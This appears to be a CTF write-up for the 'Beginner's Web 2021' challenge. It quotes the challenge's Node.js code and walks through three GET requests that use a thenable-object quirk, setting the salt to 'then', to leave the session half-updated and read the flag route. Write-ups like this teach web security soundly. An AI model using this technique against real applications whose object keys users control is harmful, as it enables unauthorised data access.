# TSG CTF 2021 Beginner's Web 2021 Writeup

## Challenge Summary

You are given some converter website.

It is doing some weird job. First, it constructs routes object based on action
parameter and store it to the session.

```javascript=  
const setRoutes = async (session, salt) => {  
const index = await fs.readFile('index.html');

session.routes = {  
flag: () => '*** CENSORED ***',  
index: () => index.toString(),  
scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),  
base64: (input) => Buffer.from(input).toString('base64'),  
set_salt: async (salt) => {  
session.routes = await setRoutes(session, salt);  
session.salt = salt;  
return 'ok';  
},  
[salt]: () => salt,  
};

return session.routes;  
};  
```

Then, it will render the page based on the routes object.

```javascript=  
app.get('/', async (request, reply) => {  
// omitted

const {action, data} = request.query || {};

let route;  
switch (action) {  
case 'Scrypt': route = 'scrypt'; break;  
case 'Base64': route = 'base64'; break;  
case 'SetSalt': route = 'set_salt'; break;  
case 'GetSalt': route = session.salt; break;  
default: route = 'index'; break;  
}

reply.type('text/html')  
return session.routes[route](data);  
});  
```

## Solution

![](https://i.imgur.com/8q7R2If.gif)

The flag is in the `flag` route, so you will want to set `session.salt =
'flag'`, but by doing so, `flag` route will be overwritten by `[salt]` end
point and you will lose access to it.

So, what we want to achieve is the following session state.

```javascript  
session = {  
routes: {  
flag: ...,  
index: ...,  
...  
[salt]: ..., // salt is anything different from 'flag'  
},  
salt: 'flag',  
}  
```

### 1st request

First, you have to send `GET /?action=SetSalt&data=flag` to set `salt =
'flag'`. The session will be the following structure.

```javascript  
session = {  
routes: {  
flag: ..., // this route is overwritten and not accessible  
index: ...,  
...  
flag: ...,  
},  
salt: 'flag',  
}  
```

### 2nd request

Second is the most important part. Now we want to recover `session.routes` so
that we can access the `flag` route, but we don't want to update `salt`.

The key is `set_salt` function. Normally, it updates routes and salt together.

```javascript=  
set_salt: async (salt) => {  
session.routes = await setRoutes(session, salt);  
session.salt = salt;  
return 'ok';  
},  
```

What if line 2 is executed but line 3 is NEVER executed? It is possible.

In line 2, we are `await`-ing the execution of `setRoutes` function. Do you
know `async`/`await` in ECMAScript is just a syncax sugar of `Promise`? So, we
can transform this function to the following equivalent code.

```javascript=  
set_salt: (salt) => {  
return setRoutes(session, salt).then((result) => {  
session.routes = result;  
session.salt = salt;  
return 'ok';  
});  
},  
```

The key is that the code is calling the chained method `then()` from the
returned value of `setRoutes` function. What is the return value of this
function?

```javascript=  
const setRoutes = async (session, salt) => {  
const index = await fs.readFile('index.html');

session.routes = {  
// omitted  
[salt]: () => salt,  
};

return session.routes;  
};  
```

It is returning the result of `session.routes`. This is unnecessary since the
assignment to `session.route` is already done.

Okay, we can control this value by `salt` parameter. What if we set `salt =
'then'`? It will return the following object.

```javascript  
{  
// omitted  
then: () => salt,  
}  
```

As you can infer from the above code, this `then` method will be called with
callback function as an argument. If the function is called, the returned
value is considered to be `resolve`-ed and the process continues. But, this
`then()` method is just ignoring the argument and the function is never
called.

So, by setting `salt = 'then'`, the assignment to `session.routes` happens
inside `setRoutes` function, but `setRoute` function is not resolved and the
assignment to `session.salt` never happens.

So, send `GET /?action=SetSalt&data=then` to server and this will result in
the following session state.

```javascript  
session = {  
routes: {  
flag: ...,  
index: ...,  
...  
then: ...,  
},  
salt: 'flag',  
}  
```

This is what we want to achieve!

### 3rd request

Now, just request the salt and it will print the flag!

`GET /?action=GetSalt`

```javascript=  
return session.routes[route](data); // route = session.salt here  
```

### Appendix

In technical term, this is called [Thenable
Object](https://masteringjs.io/tutorials/fundamentals/thenable).

## Only 1 solve during contest? Why the fuck is this beginner????

Several reasons.

* This challenge does not require experience in CTF. It consists of the combination of some logical errors in the code and knowledge of JavaScript itself.  
* A member of TSG, who is actually a beginner of CTF, could solve this challenge in just 3 hours.  
* ~~I thought more people solve this challenge honestly~~

Original writeup (https://hackmd.io/@hakatashi/ryRg7oLEt).